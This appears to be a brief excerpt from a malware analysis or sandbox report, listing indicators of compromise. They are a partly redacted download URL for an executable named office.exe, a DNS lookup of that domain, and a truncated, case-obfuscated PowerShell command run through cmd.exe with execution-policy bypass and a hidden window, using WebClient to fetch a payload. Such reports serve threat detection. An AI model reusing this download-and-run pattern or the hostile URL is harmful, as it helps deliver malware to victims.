Technical Information
- http://wg###llestig.at/libraries/cms/editor/00/office.exe
- http://wg###llestig.at/libraries/cms/editor/00/office.exe
- DNS ASK wg###llestig.at
- '<SYSTEM32>\cmd.exe' "/C poweRsheLL.ExE -eX ByPAsS -nOP -W 1 sEt-cONTeNT -Va ( New-OBjEct net.wEBcLiENT ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' "/C poweRsheLL.ExE -eX ByPAsS -nOP -W 1 sEt-cONTeNT -Va ( New-OBjEct net.wEBcLiENT ...